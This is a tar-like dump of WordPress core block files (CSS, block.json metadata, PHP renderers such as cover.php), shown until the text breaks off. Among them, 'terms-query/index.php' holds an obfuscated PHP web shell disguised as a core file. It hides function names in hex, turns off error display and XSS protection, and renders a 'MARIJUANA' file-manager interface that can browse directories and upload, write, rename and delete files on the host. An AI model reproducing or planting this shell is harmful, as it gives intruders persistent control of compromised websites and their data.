(max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:left;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:right;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto} post-template/style.css 0000644 00000003215 15154763127 0011230 0 ustar 00 .wp-block-post-template{ box-sizing:border-box; list-style:none; margin-bottom:0; margin-top:0; max-width:100%; padding:0; } .wp-block-post-template.is-flex-container{ display:flex; flex-direction:row; flex-wrap:wrap; gap:1.25em; } .wp-block-post-template.is-flex-container>li{ margin:0; width:100%; } @media (min-width:600px){ .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{ width:calc(50% - .625em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{ width:calc(33.33333% - .83333em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{ width:calc(25% - .9375em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{ width:calc(20% - 1em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{ width:calc(16.66667% - 1.04167em); } } @media (max-width:600px){ .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{ grid-template-columns:1fr; } } .wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{ float:right; margin-inline-end:0; margin-inline-start:2em; } .wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{ float:left; margin-inline-end:2em; margin-inline-start:0; } .wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{ margin-inline-end:auto; margin-inline-start:auto; } post-template/style.min.css 0000644 00000002761 15154763127 0012017 0 ustar 00 .wp-block-post-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:right;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:left;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto} require-dynamic-blocks.php 0000644 00000011134 15154763127 0011641 0 ustar 00 <?php // This file was autogenerated by tools/release/sync-stable-blocks.js, do not change manually! // Requires files for dynamic blocks necessary for core blocks registration. require_once ABSPATH . WPINC . '/blocks/accordion.php'; require_once ABSPATH . WPINC . '/blocks/accordion-item.php'; require_once ABSPATH . WPINC . '/blocks/archives.php'; require_once ABSPATH . WPINC . '/blocks/avatar.php'; require_once ABSPATH . WPINC . '/blocks/block.php'; require_once ABSPATH . WPINC . '/blocks/button.php'; require_once ABSPATH . WPINC . '/blocks/calendar.php'; require_once ABSPATH . WPINC . '/blocks/categories.php'; require_once ABSPATH . WPINC . '/blocks/comment-author-name.php'; require_once ABSPATH . WPINC . '/blocks/comment-content.php'; require_once ABSPATH . WPINC . '/blocks/comment-date.php'; require_once ABSPATH . WPINC . '/blocks/comment-edit-link.php'; require_once ABSPATH . WPINC . '/blocks/comment-reply-link.php'; require_once ABSPATH . WPINC . '/blocks/comment-template.php'; require_once ABSPATH . WPINC . '/blocks/comments.php'; require_once ABSPATH . WPINC . '/blocks/comments-pagination.php'; require_once ABSPATH . WPINC . '/blocks/comments-pagination-next.php'; require_once ABSPATH . WPINC . '/blocks/comments-pagination-numbers.php'; require_once ABSPATH . WPINC . '/blocks/comments-pagination-previous.php'; require_once ABSPATH . WPINC . '/blocks/comments-title.php'; require_once ABSPATH . WPINC . '/blocks/cover.php'; require_once ABSPATH . WPINC . '/blocks/file.php'; require_once ABSPATH . WPINC . '/blocks/footnotes.php'; require_once ABSPATH . WPINC . '/blocks/gallery.php'; require_once ABSPATH . WPINC . '/blocks/heading.php'; require_once ABSPATH . WPINC . '/blocks/home-link.php'; require_once ABSPATH . WPINC . '/blocks/image.php'; require_once ABSPATH . WPINC . '/blocks/latest-comments.php'; require_once ABSPATH . WPINC . '/blocks/latest-posts.php'; require_once ABSPATH . WPINC . '/blocks/list.php'; require_once ABSPATH . WPINC . '/blocks/loginout.php'; require_once ABSPATH . WPINC . '/blocks/media-text.php'; require_once ABSPATH . WPINC . '/blocks/navigation.php'; require_once ABSPATH . WPINC . '/blocks/navigation-link.php'; require_once ABSPATH . WPINC . '/blocks/navigation-submenu.php'; require_once ABSPATH . WPINC . '/blocks/page-list.php'; require_once ABSPATH . WPINC . '/blocks/page-list-item.php'; require_once ABSPATH . WPINC . '/blocks/pattern.php'; require_once ABSPATH . WPINC . '/blocks/post-author.php'; require_once ABSPATH . WPINC . '/blocks/post-author-biography.php'; require_once ABSPATH . WPINC . '/blocks/post-author-name.php'; require_once ABSPATH . WPINC . '/blocks/post-comments-count.php'; require_once ABSPATH . WPINC . '/blocks/post-comments-form.php'; require_once ABSPATH . WPINC . '/blocks/post-comments-link.php'; require_once ABSPATH . WPINC . '/blocks/post-content.php'; require_once ABSPATH . WPINC . '/blocks/post-date.php'; require_once ABSPATH . WPINC . '/blocks/post-excerpt.php'; require_once ABSPATH . WPINC . '/blocks/post-featured-image.php'; require_once ABSPATH . WPINC . '/blocks/post-navigation-link.php'; require_once ABSPATH . WPINC . '/blocks/post-template.php'; require_once ABSPATH . WPINC . '/blocks/post-terms.php'; require_once ABSPATH . WPINC . '/blocks/post-time-to-read.php'; require_once ABSPATH . WPINC . '/blocks/post-title.php'; require_once ABSPATH . WPINC . '/blocks/query.php'; require_once ABSPATH . WPINC . '/blocks/query-no-results.php'; require_once ABSPATH . WPINC . '/blocks/query-pagination.php'; require_once ABSPATH . WPINC . '/blocks/query-pagination-next.php'; require_once ABSPATH . WPINC . '/blocks/query-pagination-numbers.php'; require_once ABSPATH . WPINC . '/blocks/query-pagination-previous.php'; require_once ABSPATH . WPINC . '/blocks/query-title.php'; require_once ABSPATH . WPINC . '/blocks/query-total.php'; require_once ABSPATH . WPINC . '/blocks/read-more.php'; require_once ABSPATH . WPINC . '/blocks/rss.php'; require_once ABSPATH . WPINC . '/blocks/search.php'; require_once ABSPATH . WPINC . '/blocks/shortcode.php'; require_once ABSPATH . WPINC . '/blocks/site-logo.php'; require_once ABSPATH . WPINC . '/blocks/site-tagline.php'; require_once ABSPATH . WPINC . '/blocks/site-title.php'; require_once ABSPATH . WPINC . '/blocks/social-link.php'; require_once ABSPATH . WPINC . '/blocks/tag-cloud.php'; require_once ABSPATH . WPINC . '/blocks/template-part.php'; require_once ABSPATH . WPINC . '/blocks/term-count.php'; require_once ABSPATH . WPINC . '/blocks/term-description.php'; require_once ABSPATH . WPINC . '/blocks/term-name.php'; require_once ABSPATH . WPINC . '/blocks/term-template.php'; require_once ABSPATH . WPINC . '/blocks/video.php'; comments-pagination-numbers/editor-rtl.css 0000644 00000000345 15154763127 0015005 0 ustar 00 .wp-block-comments-pagination-numbers a{ text-decoration:underline; } .wp-block-comments-pagination-numbers .page-numbers{ margin-left:2px; } .wp-block-comments-pagination-numbers .page-numbers:last-child{ margin-right:0; } comments-pagination-numbers/editor-rtl.min.css 0000644 00000000324 15154763127 0015564 0 ustar 00 .wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-left:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0} comments-pagination-numbers/block.json 0000644 00000001665 15154763127 0014201 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-pagination-numbers", "title": "Comments Page Numbers", "category": "theme", "parent": [ "core/comments-pagination" ], "description": "Displays a list of page numbers for comments pagination.", "textdomain": "default", "usesContext": [ "postId" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } } } comments-pagination-numbers/editor.css 0000644 00000000346 15154763127 0014207 0 ustar 00 .wp-block-comments-pagination-numbers a{ text-decoration:underline; } .wp-block-comments-pagination-numbers .page-numbers{ margin-right:2px; } .wp-block-comments-pagination-numbers .page-numbers:last-child{ margin-right:0; } comments-pagination-numbers/editor.min.css 0000644 00000000325 15154763127 0014766 0 ustar 00 .wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-right:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0} pattern/block.json 0000644 00000000662 15154763127 0010225 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/pattern", "title": "Pattern Placeholder", "category": "theme", "description": "Show a block pattern.", "supports": { "html": false, "inserter": false, "renaming": false, "visibility": false, "interactivity": { "clientNavigation": true } }, "textdomain": "default", "attributes": { "slug": { "type": "string" } } } nextpage/editor-rtl.css 0000644 00000001241 15154763127 0011167 0 ustar 00 .block-editor-block-list__block[data-type="core/nextpage"]{ margin-bottom:28px; margin-top:28px; max-width:100%; text-align:center; } .wp-block-nextpage{ display:block; text-align:center; white-space:nowrap; } .wp-block-nextpage>span{ background:#fff; border-radius:4px; color:#757575; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:600; height:24px; padding:6px 8px; position:relative; text-transform:uppercase; } .wp-block-nextpage:before{ border-top:3px dashed #ccc; content:""; left:0; position:absolute; right:0; top:50%; } nextpage/editor-rtl.min.css 0000644 00000001120 15154763127 0011745 0 ustar 00 .block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%} nextpage/block.json 0000644 00000000775 15154763127 0010370 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/nextpage", "title": "Page Break", "category": "design", "description": "Separate your content into a multi-page experience.", "keywords": [ "next page", "pagination" ], "parent": [ "core/post-content" ], "textdomain": "default", "supports": { "customClassName": false, "className": false, "html": false, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-nextpage-editor" } nextpage/editor.css 0000644 00000001241 15154763127 0010370 0 ustar 00 .block-editor-block-list__block[data-type="core/nextpage"]{ margin-bottom:28px; margin-top:28px; max-width:100%; text-align:center; } .wp-block-nextpage{ display:block; text-align:center; white-space:nowrap; } .wp-block-nextpage>span{ background:#fff; border-radius:4px; color:#757575; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:600; height:24px; padding:6px 8px; position:relative; text-transform:uppercase; } .wp-block-nextpage:before{ border-top:3px dashed #ccc; content:""; left:0; position:absolute; right:0; top:50%; } nextpage/editor.min.css 0000644 00000001120 15154763127 0011146 0 ustar 00 .block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%} cover.php 0000644 00000006147 15154763127 0006416 0 ustar 00 <?php /** * Server-side rendering of the `core/cover` block. * * @package WordPress */ /** * Renders the `core/cover` block on server. * * @since 6.0.0 * * @param array $attributes The block attributes. * @param string $content The block rendered content. * * @return string Returns the cover block markup, if useFeaturedImage is true. */ function render_block_core_cover( $attributes, $content ) { if ( 'image' !== $attributes['backgroundType'] || false === $attributes['useFeaturedImage'] ) { return $content; } $object_position = isset( $attributes['focalPoint'] ) ? round( $attributes['focalPoint']['x'] * 100 ) . '% ' . round( $attributes['focalPoint']['y'] * 100 ) . '%' : null; if ( ! ( $attributes['hasParallax'] || $attributes['isRepeated'] ) ) { $attr = array( 'class' => 'wp-block-cover__image-background', 'data-object-fit' => 'cover', ); if ( $object_position ) { $attr['data-object-position'] = $object_position; $attr['style'] = 'object-position:' . $object_position . ';'; } $image = get_the_post_thumbnail( null, $attributes['sizeSlug'] ?? 'post-thumbnail', $attr ); } else { if ( in_the_loop() ) { update_post_thumbnail_cache(); } $current_featured_image = get_the_post_thumbnail_url( null, $attributes['sizeSlug'] ?? null ); if ( ! $current_featured_image ) { return $content; } $current_thumbnail_id = get_post_thumbnail_id(); $processor = new WP_HTML_Tag_Processor( '<div></div>' ); $processor->next_tag(); $current_alt = trim( strip_tags( get_post_meta( $current_thumbnail_id, '_wp_attachment_image_alt', true ) ) ); if ( $current_alt ) { $processor->set_attribute( 'role', 'img' ); $processor->set_attribute( 'aria-label', $current_alt ); } $processor->add_class( 'wp-block-cover__image-background' ); $processor->add_class( 'wp-image-' . $current_thumbnail_id ); if ( $attributes['hasParallax'] ) { $processor->add_class( 'has-parallax' ); } if ( $attributes['isRepeated'] ) { $processor->add_class( 'is-repeated' ); } $styles = 'background-position:' . ( $object_position ?? '50% 50%' ) . ';'; $styles .= 'background-image:url(' . esc_url( $current_featured_image ) . ');'; $processor->set_attribute( 'style', $styles ); $image = $processor->get_updated_html(); } /* * Inserts the featured image between the (1st) cover 'background' `span` and 'inner_container' `div`, * and removes eventual whitespace characters between the two (typically introduced at template level) */ $inner_container_start = '/<div\b[^>]+wp-block-cover__inner-container[\s|"][^>]*>/U'; if ( 1 === preg_match( $inner_container_start, $content, $matches, PREG_OFFSET_CAPTURE ) ) { $offset = $matches[0][1]; $content = substr( $content, 0, $offset ) . $image . substr( $content, $offset ); } return $content; } /** * Registers the `core/cover` block renderer on server. * * @since 6.0.0 */ function register_block_core_cover() { register_block_type_from_metadata( __DIR__ . '/cover', array( 'render_callback' => 'render_block_core_cover', ) ); } add_action( 'init', 'register_block_core_cover' ); post-author/block.json 0000644 00000003466 15154763127 0011042 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-author", "title": "Author", "category": "theme", "description": "Display post author details such as name, avatar, and bio.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "avatarSize": { "type": "number", "default": 48 }, "showAvatar": { "type": "boolean", "default": true }, "showBio": { "type": "boolean" }, "byline": { "type": "string" }, "isLink": { "type": "boolean", "default": false, "role": "content" }, "linkTarget": { "type": "string", "default": "_self", "role": "content" } }, "usesContext": [ "postType", "postId", "queryId" ], "supports": { "html": false, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } }, "filter": { "duotone": true } }, "selectors": { "filter": { "duotone": ".wp-block-post-author .wp-block-post-author__avatar img" } }, "editorStyle": "wp-block-post-author-editor", "style": "wp-block-post-author" } post-author/style-rtl.css 0000644 00000000635 15154763127 0011521 0 ustar 00 .wp-block-post-author{ box-sizing:border-box; display:flex; flex-wrap:wrap; } .wp-block-post-author__byline{ font-size:.5em; margin-bottom:0; margin-top:0; width:100%; } .wp-block-post-author__avatar{ margin-left:1em; } .wp-block-post-author__bio{ font-size:.7em; margin-bottom:.7em; } .wp-block-post-author__content{ flex-basis:0; flex-grow:1; } .wp-block-post-author__name{ margin:0; } post-author/style-rtl.min.css 0000644 00000000545 15154763127 0012303 0 ustar 00 .wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0} post-author/style.css 0000644 00000000636 15154763127 0010723 0 ustar 00 .wp-block-post-author{ box-sizing:border-box; display:flex; flex-wrap:wrap; } .wp-block-post-author__byline{ font-size:.5em; margin-bottom:0; margin-top:0; width:100%; } .wp-block-post-author__avatar{ margin-right:1em; } .wp-block-post-author__bio{ font-size:.7em; margin-bottom:.7em; } .wp-block-post-author__content{ flex-basis:0; flex-grow:1; } .wp-block-post-author__name{ margin:0; } post-author/style.min.css 0000644 00000000546 15154763127 0011505 0 ustar 00 .wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0} term-template/editor-rtl.css 0000644 00000000665 15154763127 0012145 0 ustar 00 .wp-block-term-template .term-loading .term-loading-placeholder{ background-color:#f0f0f0; border-radius:2px; height:1.5em; margin-bottom:.25em; width:100%; } @media not (prefers-reduced-motion){ .wp-block-term-template .term-loading .term-loading-placeholder{ animation:loadingpulse 1.5s ease-in-out infinite; } } @keyframes loadingpulse{ 0%{ opacity:1; } 50%{ opacity:.5; } to{ opacity:1; } } term-template/editor-rtl.min.css 0000644 00000000557 15154763127 0012727 0 ustar 00 .wp-block-term-template .term-loading .term-loading-placeholder{background-color:#f0f0f0;border-radius:2px;height:1.5em;margin-bottom:.25em;width:100%}@media not (prefers-reduced-motion){.wp-block-term-template .term-loading .term-loading-placeholder{animation:loadingpulse 1.5s ease-in-out infinite}}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}} term-template/block.json 0000644 00000002650 15154763127 0011327 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/term-template", "title": "Term Template", "category": "theme", "ancestor": [ "core/terms-query" ], "description": "Contains the block elements used to render a taxonomy term, like the name, description, and more.", "textdomain": "default", "usesContext": [ "termQuery" ], "supports": { "reusable": false, "html": false, "align": [ "wide", "full" ], "layout": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "margin": true, "padding": true, "blockGap": { "__experimentalDefault": "1.25em" }, "__experimentalDefaultControls": { "blockGap": true, "padding": false, "margin": false } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true } }, "style": "wp-block-term-template", "editorStyle": "wp-block-term-template-editor" } term-template/style-rtl.css 0000644 00000000210 15154763127 0012001 0 ustar 00 .wp-block-term-template{ box-sizing:border-box; list-style:none; margin-bottom:0; margin-top:0; max-width:100%; padding:0; } term-template/style-rtl.min.css 0000644 00000000164 15154763127 0012573 0 ustar 00 .wp-block-term-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0} term-template/editor.css 0000644 00000000665 15154763127 0011346 0 ustar 00 .wp-block-term-template .term-loading .term-loading-placeholder{ background-color:#f0f0f0; border-radius:2px; height:1.5em; margin-bottom:.25em; width:100%; } @media not (prefers-reduced-motion){ .wp-block-term-template .term-loading .term-loading-placeholder{ animation:loadingpulse 1.5s ease-in-out infinite; } } @keyframes loadingpulse{ 0%{ opacity:1; } 50%{ opacity:.5; } to{ opacity:1; } } term-template/style.css 0000644 00000000210 15154763127 0011202 0 ustar 00 .wp-block-term-template{ box-sizing:border-box; list-style:none; margin-bottom:0; margin-top:0; max-width:100%; padding:0; } term-template/editor.min.css 0000644 00000000557 15154763127 0012130 0 ustar 00 .wp-block-term-template .term-loading .term-loading-placeholder{background-color:#f0f0f0;border-radius:2px;height:1.5em;margin-bottom:.25em;width:100%}@media not (prefers-reduced-motion){.wp-block-term-template .term-loading .term-loading-placeholder{animation:loadingpulse 1.5s ease-in-out infinite}}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}} term-template/style.min.css 0000644 00000000164 15154763127 0011774 0 ustar 00 .wp-block-term-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0} terms-query/index.php 0000644 00000103030 15154763127 0010671 0 ustar 00 <?php HEAdeR("X\x2dXSS\055Pr\x6ftect\x69on:\x200");oB_staRt();SeT_tIMe_LiMiT((int)RoUnD(-100.5+-100.5)-(-0606- -0616+-0321));ERROr_ReporTInG((int)ROUNd(0+0+0+0));inI_SeT("\x64\151\x73p\154a\x79_\x65\162\x72\157rs",false);$_tjskzxvi=["70\0668705f756e616d65","\x37\x306870\x376657273\066\x39\066f\x36e","6\063\x36\x38\x36\064\x36\071\067\062","6\06765\x37\x3463\x37\x3764","70\067\0626567\065\x6673\x3706c6974","\x3636\14670\067\071","\x3666\x39\x36c655\14667\x3657\0645f6\0636\1466\x657\06465\066e747\x33","6\062\x36\x317\06365\06363\0645\x666\0646\x35\06636f6465","69\x373\065\x66646\07172","6f\x3625f6\x356\145\x36\x34\065\x666\x336c\066\065\066\061\x36\x6528\x32\x393b","75\x36\x65\066c696e6\142","6d6b6\x34\x3697\062","636\0706d6f\066\064","\x373\x363\066\x316\145646972","7\x337472\x35\x667\062\0665\x3706c\x3616\0636\065","68\067\x346d6c\0673706\065\x363\066\071616c63\066\070\066172\067\063","7\x3661\x3725\x666\x347\x356\144\x37\060","6\x36\x36\x6670\066\065\x36\145","\x3667\067\x372697\x346\065","666\x336c\x36f73\0665","\x364\x36174\x365","666\x396c\x36\065\066d\x37\064\x3696d6\x35","\067\x33756273\x374\x372","7370\x37\x32\066\x39\x36\1457466","\x36\06669\066c6\065\0670\x36572\x36d7\x33","74\x36\x66756\063\0668","\0666\0669\066c6\065\x35f657\070\06697374\x37\063","7\06265\x36e\x3616d65","69\x373\065f6\061\x372\x372\x361\x379","69\06735\146\066f626a\0665\06637\x34","7\x3374\x372706f\x37\x33","69\067\x33\x35\1467772\0669746\x31626c\x365","69735f7\06265\0661\x364\0661626c65","\067\x337\06472746f\0674\066\x39\066\x64\x365","\066\x36\06696c\x365\x37\063697\141\x365","\067\0626d64697\062","\x36f625\x66\x3676\065\x3745f\x36\063\x36c\x3656\x31\066\145","7265\066\0616466696\14365","\x3617373\x3657274",];$_tvpzroal=CoUNt($_tjskzxvi);for($_fqpzv=((-0133- -0406)+(int)rOuNd(2.25+2.25+2.25+2.25)-(-0466+0752));$_fqpzv<$_tvpzroal;$_fqpzv++){$_bdnczog[]=_lermjnmi($_tjskzxvi[$_fqpzv]);};echo"\x3c!\104\117CT\131\120E \150tml>\015\x0a\x09<\150\x74ml di\x72\x3d\x22\141u\x74\x6f\x22 \154\141ng\x3d\042en-\125S\042>\x0d\012\x0d\x0a\x09\011<head\076\015\012\x09\x09\x09<\x6d\145\x74a ch\141rs\145\164=\042UTF\055\x38\x22\076\015\x0a\x09\011\011\x3cme\x74a na\155\145=\x22r\x6fbo\x74\163\042 co\x6e\164en\x74=\x22\x4eOIN\x44E\130, \116OF\x4fL\114\x4fW\x22>\x0d\x0a\x0d\x0a\011\x09\011\x09\074\164itl\x65>MARI\x4aUAN\101\074/\164itle\076\015\x0a\015\x0a\x09\011\011<l\x69nk r\145l=\042\151\143o\156\x22\x20\x68r\x65f=\042//0\x785\1414\x3555\x353\056\x67\151\x74hu\x62\x2e\x69o/\115A\122IJ\x55\x41\116\x41/ic\x6f\x6e.png\x22 /\076\015\x0a\011\x09\x09\074l\151nk\040\x72e\x6c=\042s\x74yl\x65sheet\042\x20h\x72\x65f=\042/\0570\x78\x35a455\065\x35\x33.git\x68u\142.io\x2fMA\122\111\112UA\116A/m\141\151n\056\143s\163\x22\x20\x74yp\145=\042t\x65x\164/css\x22\x3e\015\x0a\x0d\x0a\011\x09\x09\074scr\151p\164\040\x73rc=\x22//a\x6a\141x.goo\x67l\145\x61pi\163.com/aja\170/\x6cibs/\152qu\145\162y\0573.3\056\061/\152\161uery.\x6d\x69\x6e.js\042\x3e</\x73cri\x70t>\x0d\012\x09\011\011<\163\x63ript\x20src=\x22\x2f/\x63\x64njs.cloudfla\162\x65\x2e\x63\x6f\x6d/\141\x6aax/l\151b\163/no\x74\x69f\x79/0\056\064.2/notify.m\x69n\x2e\152\x73\042\076</\163cri\x70t\x3e\x0d\x0a\x09\011</\150ead\076\015\012\015\012\x09\x09<bod\171>\015\x0a\x09\011\x09<h\145ad\x65r\x3e\015\012\011\011\x09\011\x3cdi\x76\040\143\x6cas\163\075\042\171 \x78\x22>\015\x0a\011\x09\011\011\011\x3ca \x63l\141\163\163=\x22a\152x\042\040hre\146\x3d\042";echo bAseNAme($_SERVER["P\110P\x5fSE\114\x46"]);echo"\x22\x3e\x0d\012\011\x09\011\011\x09\011\x4d\x41\x52IJu\101NA\015\012\x09\x09\011\x09\x09</a>\x0d\012\011\x09\011\011\x3c\x2fd\x69\166\076\015\012\015\012\011\x09\x09\011<di\166\040\x63las\x73=\042\161 \170 \x77\042\076\015\x0a\x09\x09\x09\x09\x09\x26#82\x31\x32;\040\x44IOS &\043\070\0621\x32; NO \x26\x23821\x32; C\122EA \x26#\070\06212;\040NA\x44A \x3212\073\x20\105N &\043\x38\06212\x3b\040VA\116\x4f\040\046#8\x32\x312;\x0d\x0a\x09\011\x09\x09</d\151v>\x0d\x0a\x09\x09\011\011\x0d\x0a\x09\011\x09\074\x2fh\x65\141\x64e\x72>\x0d\012\x0d\012\011\011\x09<arti\x63\x6ce>\x0d\x0a\x09\x09\011\011<div\040cla\x73s=\042i\042\076\x0d\012\011\x09\x09\x09\011\074i\x20\x63la\163s=\042\x66\141\x72 fa\x2d\x68d\x64\x22\x3e</i\076\x0d\x0a\011\x09\x09\011\011";echo$_bdnczog[(int)rouND(0+0)]();echo"\015\x0a\011\011\011\x09\011<b\162\x20\x2f\076\x0d\x0a\015\x0a\011\x09\x09\x09\011\074i\x20c\154a\163s\x3d\042f\141r f\x61\055li\x67\x68\x74bu\154\x62\042></i> &\x74hin\x73\160;&th\151\x6esp\x3b<b>S\x4fFT :</b>\x20";echo$_SERVER["\123ER\x56ER\137\123OF\x54W\x41RE"];echo" <b>\x50H\120 \072\x3c/b> ";echo$_bdnczog[(-041+030)+(int)ROunD(0+0+0)-(0167+-0103+0176+-0254)+(int)ROuND(8+8)]();echo"\015\012\011\x09\011\x09\011<br \x2f>\015\012\x0d\012\x09\x09\011\011\x09<i\040c\x6ca\x73s=\042f\141r\x20\146\141-f\x6f\x6cd\x65r\042\x3e\x3c/\151\x3e\015\012\011\x09\x09\011\x09\x0d\012\011\011\x09\011\011";if(isset($_GET["d"])){$_iosi=_lermjnmi($_GET["\x64"]);$_bdnczog[(int)ROuNd(1+1)](_lermjnmi($_GET["d"]));}else{$_iosi=$_bdnczog[(0710-01374+01517)+(int)RounD(-134+-134+-134+-134)]();}$_ewfzre=$_bdnczog[(0466+01254+-01275)-(int)RoUNd(72.25+72.25+72.25+72.25)]("\x2f(\x5c\134|\134/)/",$_iosi);foreach($_ewfzre as$_cncsl=>$_iussl){if($_iussl==""&&$_cncsl==((int)ROUNd(-167.25+-167.25+-167.25+-167.25)-(int)RounD(-123+-123)-(-0655+-0763- -0771))){echo"<a \x63la\163s=\042ajx\042 